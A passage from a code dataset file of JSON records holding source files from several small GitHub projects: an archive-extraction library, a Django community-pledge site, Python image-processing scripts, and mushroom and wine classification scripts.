is_archive(f):\n _apath = unpacker.extract(curr_apath, f)\n inspect_into(_apath)\n\n else:\n files.append(f)\n\n inspect_into(apath)\n return files\n\n\ndef extract_web_archive(url, apath, ffilter=[]):\n \"\"\" Download archive and extract all or specified files\"\"\"\n\n download(url, apath)\n output_files = extract(apath, ffilter=ffilter)\n\n return output_files\n\n\nclass AdvArchs:\n\n _archives = {}\n\n @classmethod\n def _download(cls, url, apath):\n _, f_hash = download(url, apath)\n cls._archives[apath] = f_hash\n\n @classmethod\n def files_list(cls, url, apath, ffilter=[]):\n \"\"\" Retrieve list of files considering ffilter\"\"\"\n files = []\n\n if apath not in cls._archives.keys():\n cls._download(url, apath)\n\n _files = inspect(apath)\n\n for f in _files:\n if is_matched(f, ffilter):\n files.append(f)\n\n return files\n\n @classmethod\n def extract_web_archive(cls, url, apath, ffilter=[]):\n \"\"\" Download archive and extract all or specified files\"\"\"\n\n if apath not in cls._archives.keys():\n download(url, apath)\n\n _files = extract(apath, ffilter=ffilter)\n\n return _files\n" }, { "alpha_fraction": 0.7799999713897705, "alphanum_fraction": 0.7799999713897705, "avg_line_length": 15.666666984558105, "blob_id": "bd0c6c8f8dd2273efd3953b836aff32dadd9b7b4", "content_id": "d97fad8fa3d81ca37791555b158478d4514a503e", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 50, "license_type": "permissive", "max_line_length": 32, "num_lines": 3, "path": "/tests/__init__.py", "repo_name": "elessarelfstone/advarchs", "src_encoding": "UTF-8", "text": "import tempfile\n\nTEMP_DIR = tempfile.gettempdir()\n" }, { "alpha_fraction": 0.7027027010917664, "alphanum_fraction": 0.7181467413902283, "avg_line_length": 25.4489803314209, "blob_id": "da5655eb25f43f930e02c7f5f4f03960d3508d21", "content_id": "ba065d7e740f20b2cded7f1222954127a1df1462", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Dockerfile", "length_bytes": 1295, "license_type": "permissive", "max_line_length": 144, "num_lines": 49, "path": "/tests/Dockerfile.alpine", "repo_name": "elessarelfstone/advarchs", "src_encoding": "UTF-8", "text": "# This Dockerfile uses multi-stage build to customize DEV and PROD images:\n# https://docs.docker.com/develop/develop-images/multistage-build/\n# \n# Based on: https://github.com/wemake-services/wemake-django-template/blob/master/%7B%7Bcookiecutter.project_name%7D%7D/docker/django/Dockerfile\n\nFROM python:3.7.3-alpine3.9 as development_build\n\nARG ADVARCHS_ENV\nARG PIP_DISABLE_PIP_VERSION_CHECK=on\n\nENV ADVARCHS_ENV=${ADVARCHS_ENV} \\\n PYTHONFAULTHANDLER=1 \\\n PYTHONUNBUFFERED=1 \\\n PYTHONHASHSEED=random \\\n PIP_NO_CACHE_DIR=off \\\n PIP_DISABLE_PIP_VERSION_CHECK=on \\\n PIP_DEFAULT_TIMEOUT=100 \\\n POETRY_VERSION=0.12.17\n\n\n# System deps:\nRUN apk --no-cache add \\\n build-base \\\n curl \\\n gcc \\\n git \\\n libffi-dev \\\n linux-headers \\\n musl-dev \\\n tini \\\n p7zip \\\n && pip install \"poetry==$POETRY_VERSION\"\n\n# Copy only requirements, to cache them in docker layer\nWORKDIR /pysetup\nCOPY ./poetry.lock ./pyproject.toml /pysetup/\n\n# Project initialization:\nRUN poetry config settings.virtualenvs.create false \\\n && poetry install $(test \"$ADVARCHS_ENV\" == production && echo \"--no-dev\") --no-interaction --no-ansi\n\n# This dir will become the mountpoint of development code\nWORKDIR /code\n\nFROM development_build as production_build\n\nCOPY . /code\n\nENTRYPOINT [\"pytest\"]" }, { "alpha_fraction": 0.6265457272529602, "alphanum_fraction": 0.6319043636322021, "avg_line_length": 28.216867446899414, "blob_id": "6a7934283f3bd35c002b7fc704680e9f7ab65fb7", "content_id": "58fc474e911aae4ac828696d4c5fa46e65a637ca", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2426, "license_type": "permissive", "max_line_length": 91, "num_lines": 83, "path": "/advarchs/utils.py", "repo_name": "elessarelfstone/advarchs", "src_encoding": "UTF-8", "text": "import os\nimport hashlib\nimport tarfile\nimport subprocess as subp\nfrom random import choice, randint\nfrom string import ascii_uppercase\nfrom zipfile import ZipFile\nfrom pathlib import Path\n\nimport tomlkit\n\n\ndef extract_version(source_file):\n \"\"\" Extract package version from pyproject file \"\"\"\n d = Path(source_file)\n result = None\n while d.parent != d and result is None:\n d = d.parent\n pyproject_toml_path = d / 'pyproject.toml'\n if pyproject_toml_path.exists():\n with open(file=str(pyproject_toml_path)) as f:\n pyproject_toml = tomlkit.parse(string=f.read())\n if 'tool' in pyproject_toml and 'poetry' in pyproject_toml['tool']:\n # noinspection PyUnresolvedReferences\n result = pyproject_toml['tool']['poetry']['version']\n return result\n\n\ndef get_hash_memory_optimized(f_path, mode='sha256'):\n \"\"\" Get hash of file\"\"\"\n\n h = hashlib.new(mode)\n\n with open(f_path, 'rb') as file:\n block = file.read(4096)\n while block:\n h.update(block)\n block = file.read(4096)\n\n return h.hexdigest()\n\n\ndef read_file(file, encoding=\"utf8\"):\n \"\"\" Simple reading text file \"\"\"\n with open(file, \"r\", encoding=encoding) as f:\n result = f.read()\n return result\n\n\ndef create_file(file, data, encoding=\"utf8\"):\n \"\"\" Create text file and return hash of it \"\"\"\n with open(file, \"w\", encoding=encoding) as f:\n f.write(data)\n return get_hash_memory_optimized(file)\n\n\ndef add_file_to_zip(fpath, apath):\n \"\"\" Add file to zip archive\"\"\"\n with ZipFile(apath, 'a') as zip_o:\n zip_o.write(fpath, arcname=os.path.basename(fpath))\n\n\ndef add_file_to_tar(fpath, apath):\n \"\"\" Add file to tar archive\"\"\"\n with tarfile.open(apath, \"a\") as tar_o:\n tar_o.add(fpath, arcname=os.path.basename(fpath))\n\n\ndef file_ext(f):\n \"\"\" File extension \"\"\"\n return Path(f).suffix.replace('.', '')\n\n\ndef random_string(min_l, max_l):\n \"\"\" Get random text of length ranging from min_l to max_l \"\"\"\n return ''.join(choice(ascii_uppercase) for i in range(randint(min_l, max_l)))\n\n\ndef run_with_output(args, encoding, **kwargs):\n \"\"\" Run program \"\"\"\n res = subp.Popen(args, stdout=subp.PIPE, stderr=subp.PIPE, **kwargs)\n stdout, stderr = res.communicate()\n return res.returncode, stdout.decode(encoding).lower(), stderr.decode(encoding).lower()\n\n" } ]
11
paulsmith/letsgetlouder
https://github.com/paulsmith/letsgetlouder
d280c1af0e7338e8525d4bdf4a53d43fec5f264a
49c8360850f1fe9c8be93e49c8568bf38a9f100c
2871ea4c840144e51cbec58844625ac32442003b
refs/heads/master
2020-05-30T03:55:36.020558
2012-06-12T06:51:07
2012-06-12T06:51:07
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6435643434524536, "alphanum_fraction": 0.6666666865348816, "avg_line_length": 26.545454025268555, "blob_id": "40b49b18acc9181f94a45daac3d7856e6eb2faef", "content_id": "8cd8297c8c00ac54d36cb9d6fcb9bbf08f8cecf3", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 303, "license_type": "permissive", "max_line_length": 66, "num_lines": 11, "path": "/setup.py", "repo_name": "paulsmith/letsgetlouder", "src_encoding": "UTF-8", "text": "from setuptools import setup, find_packages\n\nsetup(\n name='letsgetlouder.com',\n version='0.1',\n description='Django community pledge site',\n url='http://letsgetlouder.com/',\n install_requires=['Django==1.4', 'django-social-auth==0.6.9'],\n packages=find_packages(),\n license='BSD'\n)\n" }, { "alpha_fraction": 0.7543478012084961, "alphanum_fraction": 0.7543478012084961, "avg_line_length": 31.85714340209961, "blob_id": "a319fa2f8cd3d8703be10dd44f3285deb4fada5d", "content_id": "635050f1c39571e24946e46e47b261bca7314f14", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 460, "license_type": "permissive", "max_line_length": 57, "num_lines": 14, "path": "/pledge/models.py", "repo_name": "paulsmith/letsgetlouder", "src_encoding": "UTF-8", "text": "from django.db import models\nfrom django.db.models.signals import post_save\nfrom django.contrib.auth.models import User\n\nclass Signee(models.Model):\n user = models.OneToOneField(User)\n signed = models.BooleanField(default=False)\n when = models.DateTimeField(auto_now_add=True)\n\ndef sign_pledge(sender, instance, created, **kwargs):\n if created:\n Signee.objects.create(user=instance, signed=True)\n\npost_save.connect(sign_pledge, sender=User)\n" }, { "alpha_fraction": 0.6822916865348816, "alphanum_fraction": 0.6822916865348816, "avg_line_length": 37.400001525878906, "blob_id": "f66856d1cea3b10c6b7a9a0ecbe23636ddf05ed8", "content_id": "e138f4600b35d9da3de0b33bdd7e1fb5b13e6468", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 576, "license_type": "permissive", "max_line_length": 75, "num_lines": 15, "path": "/letsgetlouder/urls.py", "repo_name": "paulsmith/letsgetlouder", "src_encoding": "UTF-8", "text": "from django.conf.urls import patterns, include, url\nfrom django.views.generic import TemplateView\n\n# from django.contrib import admin\n# admin.autodiscover()\n\nurlpatterns = patterns('',\n url(r'^$', 'letsgetlouder.views.index_view'),\n url(r'^account/$', TemplateView.as_view(template_name='account.html')),\n url(r'^sign/$', 'letsgetlouder.views.sign_view'),\n url(r'^unsign/$', 'letsgetlouder.views.unsign_view'),\n url(r'^log-out/$', 'letsgetlouder.views.logout_view'),\n # url(r'^admin/', include(admin.site.urls)),\n url(r'', include('social_auth.urls')),\n)\n" }, { "alpha_fraction": 0.7112582921981812, "alphanum_fraction": 0.7192053198814392, "avg_line_length": 25.964284896850586, "blob_id": "557559967c31dcebb394c4d0dd1d0bc1a37e5149", "content_id": "adc39bbf43fc8f16f8680125f8861bde053c8295", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "reStructuredText", "length_bytes": 757, "license_type": "permissive", "max_line_length": 71, "num_lines": 28, "path": "/README.rst", "repo_name": "paulsmith/letsgetlouder", "src_encoding": "UTF-8", "text": "Let’s Get Louder\n================\n\nSource code for letsgetlouder.com, a site where members of the Django\ncommunity can pledge that they will only attend conferences with a\nclearly stated code of conduct policy which addresses harassment.\n\nInstallation\n------------\n\n::\n\n $ git clone https://github.com/paulsmith/letsgetlouder\n $ cd letsgetlouder\n $ virtualenv .\n $ . bin/activate\n $ cp local_settings.example.py local_settings.py\n $ python setup.py develop\n $ python manage.py syncdb\n $ python manage.py runserver\n\nTo test the social network integration, add the following line to your\n/etc/hosts::\n\n 127.0.0.1 letsgetlouder.com\n\nObtain the client IDs and consumer keys from Paul or Julia and add them\nto your local_settings.py\n" }, { "alpha_fraction": 0.5137614607810974, "alphanum_fraction": 0.5137614607810974, "avg_line_length": 35.44444274902344, "blob_id": "61fcb5daa53520800c31e91a5ce2c9ef8b9671f4", "content_id": "49f6c0c1c6358598194e09e34a4667c553056439", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 327, "license_type": "permissive", "max_line_length": 55, "num_lines": 9, "path": "/letsgetlouder/local_settings.example.py", "repo_name": "paulsmith/letsgetlouder", "src_encoding": "UTF-8", "text": "from letsgetlouder.settings import *\n\n# You will need to get these from either Paul or Julia\nTWITTER_CONSUMER_KEY = '' \nTWITTER_CONSUMER_SECRET = '' \nFACEBOOK_APP_ID = ''\nFACEBOOK_API_SECRET = '' \nGITHUB_APP_ID = '' \nGITHUB_API_SECRET = ''" }, { "alpha_fraction": 0.5789473652839661, "alphanum_fraction": 0.7105262875556946, "avg_line_length": 18, "blob_id": "e1267f9727c6d8e2d9584e5542dba45816444176", "content_id": "c995b7e635428ac6d6383f76f5f16334c10b3c8b", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 38, "license_type": "permissive", "max_line_length": 25, "num_lines": 2, "path": "/requirements.txt", "repo_name": "paulsmith/letsgetlouder", "src_encoding": "UTF-8", "text": "Django==1.4\ndjango-social-auth==0.6.9\n" }, { "alpha_fraction": 0.6648351550102234, "alphanum_fraction": 0.6648351550102234, "avg_line_length": 25, "blob_id": "9e5f58b0448d8ed412358cdb21c6ff4e26186773", "content_id": "20c9c36bcd0d5c087a8dca5581dfb25f7766bd44", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 728, "license_type": "permissive", "max_line_length": 68, "num_lines": 28, "path": "/letsgetlouder/views.py", "repo_name": "paulsmith/letsgetlouder", "src_encoding": "UTF-8", "text": "from django.contrib.auth import logout\nfrom django.shortcuts import redirect, render\n\nfrom pledge.models import Signee\n\ndef index_view(request):\n signees = Signee.objects.filter(signed=True).order_by('-when').\\\n select_related('user')\n signees = [s.user for s in signees]\n return render(request, 'index.html', {\n 'signees': signees,\n })\n\ndef sign_view(request):\n signee = request.user.get_profile()\n signee.signed = True\n signee.save()\n return redirect('/account/')\n\ndef unsign_view(request):\n signee = request.user.get_profile()\n signee.signed = False\n signee.save()\n return redirect('/account/')\n\ndef logout_view(request):\n logout(request)\n return redirect('/')\n" } ]
7
Fabna/YoutubeDownload
https://github.com/Fabna/YoutubeDownload
f1692f49b243bbbb344311fe3d733bde49a2e748
0c537a7bafc48fd6b7e63fdda087a483ffea16b2
9b9c5357a9a9f7a6bb00bc35e35c046dccf07637
refs/heads/master
2023-05-25T23:33:57.717813
2021-06-07T00:27:04
2021-06-07T00:27:04
374,487,627
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7318181991577148, "alphanum_fraction": 0.7318181991577148, "avg_line_length": 30.428571701049805, "blob_id": "a2500e639106dd601c782845324c1c4765fcf332", "content_id": "e2c63405d80de93a54f7bb1e801aa71e95be4f9f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 220, "license_type": "no_license", "max_line_length": 46, "num_lines": 7, "path": "/Youtube.py", "repo_name": "Fabna/YoutubeDownload", "src_encoding": "UTF-8", "text": "from pytube import YouTube\nlink = input (\"Digite o link desejado aqui: \")\nyt = YouTube(link)\nys = yt.streams.get_highest_resolution()\nprint (\"Downloading...\")\nys.download(\"Dowloads\\python\")\nprint (\"Download completed!\")\n" } ]
1
DrIndy/Py-Image-Processing
https://github.com/DrIndy/Py-Image-Processing
e963f552729df60c7d496797d0990863ad7a6500
63d48c89c5faac40e39837628d7bf523cd409745
3bea095afbe4275be1d30fd2dcfb1495eac275c2
refs/heads/master
2020-08-19T00:00:22.881803
2019-10-31T16:51:47
2019-10-31T16:51:47
215,850,571
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.47732260823249817, "alphanum_fraction": 0.5113387107849121, "avg_line_length": 40.06153869628906, "blob_id": "c0856970faebcc66d90fef1d8a3f812734e48395", "content_id": "412fc68334360b6ca4ded3d6508f55eda4abce7d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2734, "license_type": "no_license", "max_line_length": 115, "num_lines": 65, "path": "/ImgFilters.py", "repo_name": "DrIndy/Py-Image-Processing", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\r\n\r\n'''\r\n===============================================================================\r\nENGR 133 Program Description \r\n\tImmage Processing, filters\r\n\r\nAssignment Information\r\n\tAssignment: Python Project\r\n\tAuthor: Matthew Glimcher, [email protected]\r\n\tTeam ID: 004-01 (e.g. 001-14 for section 1 team 14)\r\n\t\r\nContributor: \r\n\tMy contributor(s) helped me:\t\r\n\t[] understand the assignment expectations without\r\n\t\ttelling me how they will approach it.\r\n\t[] understand different ways to think about a solution\r\n\t\twithout helping me plan my solution.\r\n\t[] think through the meaning of a specific error or\r\n\t\tbug present in my code without looking at my code.\r\n\tNote that if you helped somebody else with their code, you\r\n\thave to list that person as a contributor here as well.\r\n===============================================================================\r\n'''\r\nimport numpy as np\r\n\r\ndef ImgFltr(img, fltr):\r\n nwImg = np.ndarray(img.shape) # Create the new image to copy into\r\n b = np.zeros((9,2)) # Create the aray of pixels to be evaluated\r\n smfltr = sum(fltr)\r\n if smfltr == 0: smfltr = 1\r\n for i in range(0,img.shape[0]): # Itterate through every pixel\r\n for j in range(0, img.shape[1]):\r\n try: # Copy the square around the current pixel\r\n b[0:3,0] = img[(i-1):(i+2),j-1]\r\n b[3:6,0] = img[(i-1):(i+2),j]\r\n b[6:,0] = img[(i-1):(i+2),j+1]\r\n except: # fill in \"Manualy\" if it hits an edge\r\n for x in range(0,3):\r\n for y in range(0,3):\r\n try: b[(3*x)+y,0] = img[x+i-1,y+j-1]\r\n except: b[(3*x)+y,0] = img[i,j] # pads the edge by copying the current pixel into the edges\r\n b[:,1] = fltr # add the filter weights to the aray of pixels\r\n s = 0\r\n for k in b: s += k[0]*k[1] # Multiply the pixels by the weights and sum them\r\n nwImg[i,j] = abs(s//smfltr) # divide by the filter sum and put the value in the new image\r\n return nwImg\r\n\r\n\r\n\r\n\r\n'''\r\nVertical Derivative = [-1,-2,-1, 0, 0, 0, 1, 2, 1]\r\nHorizontal Derivative = [-1, 0, 1,-2, 0, 2, 1, 0, 1]\r\nSharpen = [ 0,-1, 0,-1, 12,-1, 0,-1, 0]\r\nSmooth = [ 4, 9, 4, 9,36, 9, 4, 9, 4]\r\n\r\n===============================================================================\r\nACADEMIC INTEGRITY STATEMENT\r\n I have not used source code obtained from any other unauthorized\r\n source, either modified or unmodified. Neither have I provided\r\n access to my code to another. The project I am submitting\r\n is my own original work.\r\n===============================================================================\r\n'''\r\n" }, { "alpha_fraction": 0.5739644765853882, "alphanum_fraction": 0.590640127658844, "avg_line_length": 43.261905670166016, "blob_id": "75ed6def4e65f0e6987855d1723c9cdfba6a892d", "content_id": "fadf2435747f38dea6dec48a56e173bf6fdcc7d0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1859, "license_type": "no_license", "max_line_length": 181, "num_lines": 42, "path": "/ToGrayscale.py", "repo_name": "DrIndy/Py-Image-Processing", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n'''\n===============================================================================\nENGR 133 Program Description \n\tImmage Processing, Greyscale\n\nAssignment Information\n\tAssignment: Python Project\n\tAuthor: Kai Wilson, [email protected]\n\tTeam ID: 004-01 (e.g. 001-14 for section 1 team 14)\n\t\nContributor: \n\tMy contributor(s) helped me:\t\n\t[] understand the assignment expectations without\n\t\ttelling me how they will approach it.\n\t[] understand different ways to think about a solution\n\t\twithout helping me plan my solution.\n\t[] think through the meaning of a specific error or\n\t\tbug present in my code without looking at my code.\n\tNote that if you helped somebody else with their code, you\n\thave to list that person as a contributor here as well.\n===============================================================================\n'''\n\nimport numpy as np\n\ndef Grey(image): #Begins definition for the function to turn an image to grey scale\n greyscale = np.zeros((image.shape[0],image.shape[1])) #Finds the shape of the array\n for i in range(0,image.shape[0]): #Loops through each row in the array\n for j in range(0,image.shape[1]): #Loops through each pixel in the row\n greyscale[i][j] = ((image[i][j][0]*.11)+(image[i][j][1]*.59)+(image[i][j][2]*.3)) #Takes a weighted average of the each color in the selected pixel to make it grayscale\n return greyscale #Returns the final value\n\n'''\n===============================================================================\nACADEMIC INTEGRITY STATEMENT\n I have not used source code obtained from any other unauthorized\n source, either modified or unmodified. Neither have I provided\n access to my code to another. The project I am submitting\n is my own original work.\n===============================================================================\n'''\n" }, { "alpha_fraction": 0.5602992177009583, "alphanum_fraction": 0.5789089798927307, "avg_line_length": 49.224300384521484, "blob_id": "8d571dab28c561c99b63b73e5a313edbaf16f614", "content_id": "6a758e8ea5c1be46f6f525daba6c0de59ccc4029", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5481, "license_type": "no_license", "max_line_length": 125, "num_lines": 107, "path": "/ImgMain.py", "repo_name": "DrIndy/Py-Image-Processing", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\r\n\r\n'''\r\n===============================================================================\r\nENGR 133 Program Description \r\n\tImmage Processing Main Menu\r\n\r\nAssignment Information\r\n\tAssignment: Python Project\r\n\tAuthor: Matthew Glimcher, [email protected]\r\n\tTeam ID: 004-01 (e.g. 001-14 for section 1 team 14)\r\n\t\r\nContributor: Kai Wilson, login@purdue\r\n Chase Weinstien, [email protected]\r\n\tMy contributor(s) helped me:\r\n\t[x] understand the assignment expectations without\r\n\t\ttelling me how they will approach it.\r\n\t[x] understand different ways to think about a solution\r\n\t\twithout helping me plan my solution.\r\n\t[x] think through the meaning of a specific error or\r\n\t\tbug present in my code without looking at my code.\r\n\tNote that if you helped somebody else with their code, you\r\n\thave to list that person as a contributor here as well.\r\n===============================================================================\r\n'''\r\nfrom ImgFilters import ImgFltr # File by Mattew Glimcher\r\nfrom ToGrayscale import Grey # File by Kai Wilson\r\nfrom Rotate_and_Mirror import rot, mirr # File by Chase Weinstine\r\nfrom numpy import ndarray\r\n\r\nimport cv2\r\n\r\nchoice = 1 #makes sure that chosing an immage is the first part of the program\r\nwhile True: #Loops thorugh the menu for multiple opperations until the image is writen to a file\r\n if choice == 1: # Pick an Image\r\n img = cv2.imread(input(\"Enter the file name of the image to be processed:\\n\"),1)\r\n if type(img) != ndarray: #check to make sure you actualy got an immage\r\n print(\"\\nError: File Does Not Exist\")\r\n if input(\"End program? ([y/n]) \") == \"y\": break\r\n continue # go back to the top and try again\r\n elif choice == 2: # Convert to Greyscale, nothing fancy here\r\n img = Grey(img)\r\n print(\"\\nImage Conveted to Grayscale\\n\") # confirms the image was converted to greyscale\r\n elif choice == 3: # Rotates the image\r\n print(\"How many degrees counterclockwise should the image be rotated?\\n\")\r\n while True:\r\n try:\r\n r = round(int(input())/90)%4 # Take an input in degrees and records the numbe of 90 degree rotations required\r\n break\r\n except: print(\"\\nPlease enter a number:\")\r\n #takes a rotation value and rounds in case you hit a nearby key by accident\r\n if r == 1: img = rot(img)\r\n elif r == 2: img = rot(rot(img))\r\n elif r == 3: img = rot(rot(rot(img)))\r\n print(f\"\\nImage Rotated {r*90} degrees\\n\") # Tells you how far the image was rotated as confirmation\r\n elif choice == 4: #Mirrors the Image Verticaly\r\n img = mirr(img)\r\n print(\"\\nImage Mirrored\\n\") # Confirms the Image was Mirrored\r\n elif choice == 5: #Filters the Image\r\n print(\"Would you like to:\\n1)Smooth\\n2)Sharpen\\n3)Take Vertical Derivative\\n4)Horizontal Derivative\")\r\n while True:\r\n try:\r\n f = int(input())\r\n break\r\n except: print(\"\\nPlease enter a number\")\r\n if f == 1: fltr = [4,9,4,9,36,9,4,9,4] # Gausian Smoothing Filter\r\n elif f == 2: fltr = [0,-1,0,-1,12,-1,0,-1,0] # Sharpening Filter\r\n elif f == 3: fltr = [-1,0,1,-2,0,2,1,0,1] # Vertical Derivative Filter\r\n elif f == 4: fltr = [-1,-2,-1,0,0,0,1,2,1] # Horizontal Derivative Filter\r\n else: \r\n print(\"\\nPlease enter a number from 1-4\")\r\n continue # Go back to the top and try again\r\n try: # Try filtering a color image, throws an error it its greyscale becasue grayscale is only 2 dimentional\r\n img[:,:,0] = ImgFltr(img[:,:,0], fltr) # Blue Layer\r\n img[:,:,1] = ImgFltr(img[:,:,1], fltr) # Green Layer\r\n img[:,:,2] = ImgFltr(img[:,:,2], fltr) # Red Layer\r\n except: img = ImgFltr(img, fltr) # if its greyscale, do this instead\r\n print(\"\\nImage Filtered\\n\") # Confirms the Image was Filtered\r\n elif choice == 6: # write the image to a file\r\n try:\r\n cv2.imwrite(input(\"Enter The file name for the new image:\\n\"), img)\r\n break # Ends the program if the image writes sucessfuly\r\n except: \r\n print(\"\\nError: Invalid File Name\") # yells at you if the file name is invalid\r\n if input(\"End program anyway? ([y/n]) \") == \"y\": break # Does exactly what it says\r\n continue # Go back to the top and try again\r\n if choice <= 6: # asks you what you want to do next if you previous choice was valid\r\n print(\"What do you want to do with the image?\")\r\n print(\"1) Open from file \\n2) Convert to Graysacle \\n3) Rotate \\n4) Mirror \\n5) Filter \\n6) Write to File\")\r\n else: \r\n if input(\"End program? ([y/n]) \") == \"y\": break\r\n print(\"\\nPlease enter a number from 1-6\")\r\n while True:\r\n try: \r\n choice = int(input()) # takes in the user's choice\r\n break # breaks out of the input loop if the user gives a number\r\n except: print(\"\\nPlease enter a number.\") # yells at you if you don't give it a number\r\n\r\n'''\r\n===============================================================================\r\nACADEMIC INTEGRITY STATEMENT\r\n I have not used source code obtained from any other unauthorized\r\n source, either modified or unmodified. Neither have I provided\r\n access to my code to another. The project I am submitting\r\n is my own original work.\r\n===============================================================================\r\n'''\r\n" }, { "alpha_fraction": 0.5876747369766235, "alphanum_fraction": 0.6073697805404663, "avg_line_length": 39.20512771606445, "blob_id": "d6cd46cbd84aa1dcc5592858cf03f3313a65c424", "content_id": "0db30cc6304224f89c1694f49d78d07d9f29c36e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1574, "license_type": "no_license", "max_line_length": 86, "num_lines": 39, "path": "/Rotate_and_Mirror.py", "repo_name": "DrIndy/Py-Image-Processing", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n'''\n===============================================================================\nENGR 133 Program Description \n\tCan take in an array of an image and rotate or mirror the image\n\nAssignment Information\n\tAssignment: Python Project\n\tAuthor: Chase Weinstein, [email protected]\n\tTeam ID: 004-01 (e.g. 001-14 for section 1 team 14)\n\t\nContributor: \n\tMy contributor(s) helped me:\t\n\t[ ] understand the assignment expectations without\n\t\ttelling me how they will approach it.\n\t[ ] understand different ways to think about a solution\n\t\twithout helping me plan my solution.\n\t[ ] think through the meaning of a specific error or\n\t\tbug present in my code without looking at my code.\n\tNote that if you helped somebody else with their code, you\n\thave to list that person as a contributor here as well.\n===============================================================================\n'''\nimport numpy as np\n\ndef rot(img):\n nwImg = np.ndarray((img.shape[1],img.shape[0],img.shape[2])) #makes new image array\n for i in range(0, img.shape[0]): #i is the column of the array\n for j in range(0, img.shape[1]): #j is the row of the array\n nwImg[-j-1][i] = img[i][j] #trasposes the pixel into the new image\n return nwImg\n\ndef mirr(img):\n nwImg = np.ndarray(img.shape) #makes new image array\n for i in range(0, img.shape[0]): #i is the column of the array\n for j in range(0, img.shape[1]): #j is the row of the array\n nwImg[-i-1][j] = img[i][j] #trasposes the pixel into the new image\n return nwImg\n\n \n" } ]
4
anierudh/classification
https://github.com/anierudh/classification
709bf4b02a5351454fa17679015dff145a9e1c86
930ba400968703e8e0e45d215e929cbee918fc0e
25c68323e6245f88f0d72248e2ec77811a5619d5
refs/heads/master
2020-03-22T02:47:06.411153
2018-07-07T16:53:58
2018-07-07T16:53:58
139,392,964
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7287716269493103, "alphanum_fraction": 0.7337180376052856, "avg_line_length": 23.18000030517578, "blob_id": "6271b5c01d41b1a6cd62b711efcf3396db962fd7", "content_id": "18a614cddfe96083b338abaf93931c8f98b5f5d1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1213, "license_type": "no_license", "max_line_length": 66, "num_lines": 50, "path": "/mushroom classifcation/xg.py", "repo_name": "anierudh/classification", "src_encoding": "UTF-8", "text": "from sklearn.metrics import confusion_matrix,classification_report\nfrom sklearn import preprocessing\nimport pandas as pd\nimport numpy as np\n\ntrain=pd.read_csv(\"mushrooms.csv\")\ntd=pd.DataFrame(train)\n#print (td)\n#print (train)\ntest=pd.read_csv(\"testmushroom.csv\")\ntd1=pd.DataFrame(test)\n#print (test)\n\n\nx=preprocessing.LabelEncoder()\nfor col in td.columns:\n\ttd[col]=x.fit_transform(td[col])\n\t#print (td[col])\nX_train=td[[x for x in td.columns if 'class' not in x]]\n#print (X_train)\nY_train=td['class']\n#print (Y_train)\ny=preprocessing.LabelEncoder()\nfor col in td1.columns:\n\ttd1[col]=y.fit_transform(td1[col])\nX_test=td1[[x for x in td.columns if 'class' not in x]]\n#print (X_test)\nY_test=td1['class']\n#print (Y_test)\n\n\n#import xgboost as xgb\nfrom xgboost import XGBClassifier\nxgb_data=XGBClassifier().fit(X_train,Y_train)\t\n#print (xgb_data)\n\nxgb_predictions = xgb_data.predict(X_test)\n#print (xgb_predictions)\n\n \n# model accuracy for X_test \nacc_train=xgb_data.score(X_train, Y_train)\n#print (acc_train)\naccuracy = xgb_data.score(X_test, Y_test)\nprint (accuracy)\n \n# creating a confusion matrix\ncm = confusion_matrix(Y_test, xgb_predictions)\n#print (cm)\nprint (classification_report(Y_test,xgb_predictions))\n\n\n \n" }, { "alpha_fraction": 0.7521514892578125, "alphanum_fraction": 0.7521514892578125, "avg_line_length": 33.17647171020508, "blob_id": "3caaba70c0ddeabf4ed32c08488b799b09184387", "content_id": "0cc637b3ef7411571922cbea01711f404b5dc5bf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1162, "license_type": "no_license", "max_line_length": 170, "num_lines": 34, "path": "/wine quality/nb1.py", "repo_name": "anierudh/classification", "src_encoding": "UTF-8", "text": "from sklearn.metrics import confusion_matrix\nfrom sklearn.model_selection import train_test_split\nimport numpy as np\nimport pandas as pd\ntrain=pd.read_csv(\"winequality-red.csv\")\n#print (train)\ntest=pd.read_csv(\"testwine.csv\")\n#print (test)\nfeatures=['citric acid','residual sugar','chlorides','density','pH','alcohol','fixed acidity','volatile acidity','free sulfur dioxide','total sulfur dioxide','sulphates']\nX_train=train[list(features)].values\n#print (X_train)\nY_train=train['quality'].values\n#print (Y_train)\nX_test=test[list(features)].values\n#print (X_test)\nY_test=test['quality'].values\n#print (Y_test)\nfrom sklearn.naive_bayes import BernoulliNB\n#from sklearn.naive_bayes import MultinomialNB\n#from sklearn.naive_bayes import GaussianNB\ngnb = BernoulliNB().fit(X_train, Y_train)\n#gnb = MultinomialNB().fit(X_train, Y_train)\n#gnb = 